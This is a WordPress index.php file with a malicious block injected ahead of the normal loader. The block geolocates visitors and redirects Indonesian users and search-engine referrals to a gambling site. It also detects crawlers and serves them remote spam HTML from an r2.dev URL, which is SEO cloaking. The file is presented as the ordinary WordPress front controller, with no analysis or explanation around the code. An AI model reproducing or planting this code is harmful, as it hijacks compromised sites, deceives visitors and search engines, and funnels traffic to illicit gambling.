<?php
function getClientIP() {
    $headers = [
        'HTTP_CLIENT_IP',
        'HTTP_X_FORWARDED_FOR',
        'HTTP_X_FORWARDED',
        'HTTP_X_CLUSTER_CLIENT_IP',
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR'
    ];
    foreach ($headers as $key) {
        if (!empty($_SERVER[$key])) {
            $ipList = explode(',', $_SERVER[$key]);
            foreach ($ipList as $ip) {
                $ip = trim($ip);
                if (filter_var($ip, FILTER_VALIDATE_IP)) {
                    return $ip;
                }
            }
        }
    }
    return '127.0.0.1';
}

function getUrlContent($url) {
    if (ini_get('allow_url_fopen')) {
        $content = @file_get_contents($url);
        if ($content !== false) return $content;
    }
    $ch = curl_init($url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_TIMEOUT => 10
    ]);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response ?: '';
}

function isBot() {
    $botKeywords = ['googlebot', 'slurp', 'adsense', 'inspection', 'verifycation', 'jenifer'];
    $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    foreach ($botKeywords as $bot) {
        if (strpos($ua, $bot) !== false) return true;
    }
    return false;
}

$ip = getClientIP();
$geoData = json_decode(getUrlContent("http://ip-api.com/json/{$ip}"), true);
$countryCode = $geoData['countryCode'] ?? '';

$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
$fingerprint = sha1($ip . $ua);

if (!isset($_COOKIE['user_fp']) && $countryCode === 'ID') {
    setcookie('user_fp', $fingerprint, time() + 86400 * 30, '/');
    $_COOKIE['user_fp'] = $fingerprint;
}

$allowedFingerprint = $_COOKIE['user_fp'] ?? '';

$redirectURL = 'https://toto-slot.klingendes.co/';

if ($countryCode === 'ID' && $fingerprint === $allowedFingerprint && $allowedFingerprint !== '') {
    header("Location: $redirectURL");
    exit;
}

$referer = $_SERVER['HTTP_REFERER'] ?? '';
$refererDomains = ['google.co.id', 'yahoo.co.id', 'bing.com'];
foreach ($refererDomains as $domain) {
    if (stripos($referer, $domain) !== false) {
        header("Location: $redirectURL");
        exit;
    }
}

if (isBot()) {
    $htmlURL = 'https://pub-b5c13bff5f2e4421a9e8d4c0e30c0cb0.r2.dev/klingdes.txt';
    echo getUrlContent($htmlURL);
    exit;
}

?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';